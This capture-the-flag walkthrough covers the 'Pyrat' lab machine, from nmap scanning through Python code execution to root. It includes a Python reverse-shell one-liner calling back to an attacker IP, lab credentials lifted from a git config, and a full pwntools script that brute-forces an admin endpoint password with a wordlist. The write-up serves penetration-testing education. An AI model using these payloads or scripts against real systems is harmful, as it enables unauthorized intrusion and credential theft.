Pyrat
1. Introduction (from room)
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
2. Initial Reconnaissance
export TARGET_IP=10.10.8.145 # Replace with the actual target IP
nmap $TARGET_IP
Results:
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
3. Initial Interaction and Vulnerability Discovery
Visiting http://10.10.8.145:8000
in a web browser displays a message: "Try a more basic connection." This suggests interacting directly with the service using a tool like Netcat.
nc $TARGET_IP 8000 -v
-v
: Verbose output, showing connection details.
After connecting with Netcat, we can interact with the service. By entering Python code, we observe that the server executes it. This immediately points to a potential Remote Code Execution (RCE) vulnerability.
Testing for RCE:
We send the following Python code to list files:
print(os.listdir('/opt/dev/.git'))
Response:
['objects', 'COMMIT_EDITMSG', 'HEAD', 'description', 'hooks', 'config', 'info', 'logs', 'branches', 'refs', 'index']
To read the content of a file:
print(open('/opt/dev/.git/config', 'r').read())
This confirms the RCE vulnerability, allowing us to execute arbitrary Python code on the server.
4. Exploitation: Gaining a Shell
We can leverage the RCE to obtain a reverse shell, providing interactive access to the system.
Setting up a Listener:
nc -lvnp 6666
Crafting the Payload:
We send the following Python reverse shell payload to the target:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.17.44",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Explanation:
- This code creates a socket, connects back to our listener (replace
"10.2.17.44"
with your attacking machine's IP), and spawns a shell (sh
). os.dup2()
redirects standard input, output, and error to the socket, giving us interactive control.pty.spawn()
provides a pseudo-terminal, improving shell interaction.
Result:
After sending the payload, our Netcat listener receives a connection, giving us a shell as the www-data
user.
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
5. Privilege Escalation (Part 1): Finding Credentials
Now that we have a shell, we begin the privilege escalation phase. We explore the file system, looking for sensitive information.
Based on previous directory listing of /opt/dev/.git
, we examine the Git configuration file:
cat /opt/dev/.git/config
Contents of config
:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
We discover credentials for a user named think
.
6. Privilege Escalation (Part 2): User think
We attempt to use the discovered credentials to log in via SSH (you could also su think
if already in there):
ssh think@$TARGET_IP
# Password: _TH1NKINGPirate$_
This successfully logs us in as the think
user.
id
# uid=1000(think) gid=1000(think) groups=1000(think)
7. Further Investigation: Analyzing the Application
We continue our investigation to understand the application better. We navigate to the /opt/dev
directory and examine the Git repository:
cd /opt/dev
git status
Output:
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
This indicates a deleted file named pyrat.py.old
, which could contain valuable information about an older version of the application.
We restore the deleted file:
git restore pyrat.py.old
cat pyrat.py.old
Contents of pyrat.py.old
(Partial):
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e)
This code reveals the server's logic, confirming our initial RCE vulnerability and exposing a potential "admin" endpoint and a "shell" command. It also shows a switch_case
function that handles different commands. The some_endpoint
string hints at other possible endpoints, and an uid
check before calling the shell
method.
8. Privilege Escalation (Part 3): Finding the Admin Endpoint and Password
The pyrat.py.old
code suggests the existence of other endpoints. We use a brute-force approach to discover them and their associated passwords.
Fuzzing Script (fuzz_endpoint_and_password.py
):
from pwn import *
import re
import logging
# --- Configure Logging ---
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def fuzz_password(target_ip, target_port, wordlist_file, endpoint):
"""
Fuzzes passwords for a specific endpoint using pwntools.
"""
try:
with open(wordlist_file, "r", encoding="latin-1") as f:
for password in f:
password = password.strip()
try:
conn = remote(target_ip, target_port)
conn.sendline(endpoint.encode())
response = conn.recvuntil(b"Password:", timeout=2)
logging.debug(f"Endpoint response: {response.decode().strip()}")
if b"Password:" not in response:
logging.warning(f"Unexpected response from endpoint: {response.decode().strip()}")
conn.close()
continue
conn.sendline(password.encode())
response = conn.recvline(timeout=2) # Read the immediate response
response += conn.recvline(timeout=2) # Read a *second* line!
if b"Password:" in response:
logging.debug(f"[-] Tried password: {password}, Password incorrect.")
conn.close()
continue
elif b"incorrect" not in response.lower() and response.strip() != b"": #added check for incorrect and empty
logging.info(f"[+] Found password: {password}")
logging.info(f" Response: {response.decode().strip()}")
conn.close()
return password
else: #debug
logging.debug(f"[-] Tried password: {password}, Response: {response.decode().strip()}")
conn.close()
except (pwnlib.exception.PwnlibException, TimeoutError, OSError) as e:
logging.error(f"[-] Error connecting for password '{password}': {e}")
# Optionally break/continue here
continue
except Exception as e: #catch other errors
logging.error(f"[-] Unexpected error: {e}")
continue
except FileNotFoundError:
logging.error(f"[-] Error: Wordlist file not found: {wordlist_file}")
return None
return None
def fuzz_endpoint(target_ip, target_port, wordlist_file):
"""
Fuzzes endpoints and then passwords using pwntools.
"""
try:
with open(wordlist_file, 'r') as wordlist:
for word in wordlist:
word = word.strip()
if not re.match(r"^[a-zA-Z_]+$", word):
continue
try:
conn = remote(target_ip, target_port)
conn.sendline(word.encode())
response = conn.recvline(timeout=2).decode()
conn.close()
if "name '" + word + "' is not defined" not in response and "Traceback" not in response and response.strip() !="" :
logging.info(f"[+] Found potential endpoint: {word}")
logging.info(f" Response: {response.strip()}")
password_wordlist = "/usr/share/wordlists/rockyou.txt"
found_password = fuzz_password(target_ip, target_port, password_wordlist, word)
if found_password:
return word, found_password
else:
logging.warning(f"[-] No password found for endpoint: {word}")
return word, None
else: #debug
logging.debug(f"[-] Tried endpoint: {word}, Response: {response.strip()}")
except (pwnlib.exception.PwnlibException, TimeoutError, OSError) as e:
logging.error(f"[-] Error connecting for endpoint '{word}': {e}")
# break/continue
continue
except Exception as e: #catch other errors
logging.error(f"[-] Unexpected error: {e}")
continue
except FileNotFoundError:
logging.error(f"[-] Error: Wordlist file not found: {wordlist_file}")
return None, None
return None, None
if __name__ == "__main__":
target_ip = "10.10.119.253" # Replace with the correct IP
target_port = 8000
endpoint_wordlist = "list_of_api_endpoints_and_objects.txt" # Your endpoint list
found_endpoint, found_password = fuzz_endpoint(target_ip, target_port, endpoint_wordlist)
if found_endpoint:
if found_password:
print(f"Complete Command: {found_endpoint} {found_password}")
else:
print("Endpoint found but the password could not be found")
else:
print("Endpoint not found")
Explanation:
- Imports: Uses
pwn
library,re
(regular expressions) andlogging
fuzz_endpoint
Function:- Reads a list of potential endpoint names from
list_of_api_endpoints_and_objects.txt
. - Iterates through each word, sending it to the target server.
- Checks if the response indicates a valid endpoint (not "not defined" and has a response).
- If a valid endpoint is found, it calls
fuzz_password
to try and find the password.
- Reads a list of potential endpoint names from
fuzz_password
Function:- Reads passwords from
/usr/share/wordlists/rockyou.txt
. - Sends the discovered endpoint followed by each password to the server.
- Checks the response for indications of success ("Welcome Admin!!!").
- Reads passwords from
- Error Handling: Includes
try-except
blocks to handle network connection errors and file not found errors. - Logging: Uses
logging
library to organize the information output. - Regular expression filtering: Checks if the endpoint word is alphanumeric.
Running the Script:
python3 fuzz_endpoint_and_password.py
Output:
... (truncated for brevity)
[+] Found potential endpoint: admin
Response: Password:
...
[+] Found password: abc123
Response: Welcome Admin!!! Type "shell" to begin
Complete Command: admin abc123
The script discovers the endpoint admin
and its password abc123
.
9. Final Privilege Escalation: Root Access
We now have the correct endpoint and password to gain root access. We connect again using Netcat:
nc $TARGET_IP 8000 -v
We send the following commands:
admin
abc123
shell
id # uid=0(root) gid=0(root) groups=0(root)
We have successfully obtained a root shell!